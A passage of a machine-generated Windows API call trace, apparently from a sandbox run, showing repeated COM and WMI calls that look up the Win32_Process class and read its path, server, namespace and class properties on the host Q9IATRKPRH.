puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0087.938] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0087.938] IWbemServices:GetObject (in: This=0x1bf01d40, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11ec410, ppCallResult=0x0) returned 0x0 [0087.943] IWbemClassObject:Get (in: This=0x11ec410, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0087.943] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0087.943] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0087.943] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0087.943] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0087.943] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0087.944] IUnknown:Release (This=0x111f638) returned 0x1 [0087.946] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c0227c0) returned 0x0 [0087.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0227c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0087.946] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0227c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bea1a30) returned 0x0 [0087.946] WbemDefPath:IUnknown:Release (This=0x1c0227c0) returned 0x0 [0087.946] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bea1a30) returned 0x0 [0087.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0087.947] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0087.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0087.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0087.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1c022920) returned 0x0 [0087.947] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.947] WbemDefPath:IUnknown:Release (This=0x1c022920) returned 0x3 [0087.947] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0087.947] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0087.947] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0087.947] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0087.947] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x1 [0087.947] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0087.947] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0087.948] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea1a30) returned 0x0 [0087.948] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0087.948] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0087.948] WbemDefPath:IWbemPath:SetText (This=0x1bea1a30, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0087.948] IWbemClassObject:Get (in: This=0x11ec410, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.948] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0087.948] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0087.948] IWbemClassObject:Get (in: This=0x11ec410, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.948] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0087.949] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0087.949] IWbemClassObject:Get (in: This=0x11ec410, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0087.949] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0087.949] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0087.949] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.949] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.949] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.949] IUnknown:Release (This=0x111f638) returned 0x1 [0087.951] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0225e0) returned 0x0 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0225e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.952] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0225e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea1970) returned 0x0 [0087.952] WbemDefPath:IUnknown:Release (This=0x1c0225e0) returned 0x0 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea1970) returned 0x0 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.952] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.952] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c022560) returned 0x0 [0087.952] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022560, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.952] WbemDefPath:IUnknown:Release (This=0x1c022560) returned 0x3 [0087.952] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.953] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.953] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0087.953] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x1 [0087.953] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.953] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.953] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1970, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1970) returned 0x0 [0087.953] WbemDefPath:IUnknown:AddRef (This=0x1bea1970) returned 0x3 [0087.953] WbemDefPath:IUnknown:Release (This=0x1bea1970) returned 0x2 [0087.953] WbemDefPath:IWbemPath:SetText (This=0x1bea1970, uMode=0x4, pszPath="") returned 0x0 [0087.953] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.953] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.953] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.953] IUnknown:Release (This=0x111f638) returned 0x1 [0087.955] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0225e0) returned 0x0 [0087.955] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0225e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.955] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0225e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea18b0) returned 0x0 [0087.956] WbemDefPath:IUnknown:Release (This=0x1c0225e0) returned 0x0 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea18b0) returned 0x0 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.956] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c0225a0) returned 0x0 [0087.956] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0225a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.956] WbemDefPath:IUnknown:Release (This=0x1c0225a0) returned 0x3 [0087.956] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0087.956] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0087.956] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0087.956] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0087.957] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x1 [0087.957] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0087.957] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0087.957] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea18b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea18b0) returned 0x0 [0087.957] WbemDefPath:IUnknown:AddRef (This=0x1bea18b0) returned 0x3 [0087.957] WbemDefPath:IUnknown:Release (This=0x1bea18b0) returned 0x2 [0087.957] WbemDefPath:IWbemPath:SetText (This=0x1bea18b0, uMode=0x4, pszPath="") returned 0x0 [0087.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea18b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1970, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0087.957] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea18b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0087.957] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea18b0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0087.957] WbemDefPath:IWbemPath:SetServer (This=0x1bea18b0, Name="Q9IATRKPRH") returned 0x0 [0087.957] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0087.957] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0087.957] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0087.957] IUnknown:Release (This=0x111f638) returned 0x1 [0087.959] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c0225c0) returned 0x0 [0087.959] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0225c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0087.959] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0225c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0b30) returned 0x0 [0087.959] WbemDefPath:IUnknown:Release (This=0x1c0225c0) returned 0x0 [0087.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0b30) returned 0x0 [0087.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0087.960] WbemDefPath:IUnknown:AddRef (This=0x1bea0b30) returned 0x3 [0087.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0087.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0b30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0087.960] 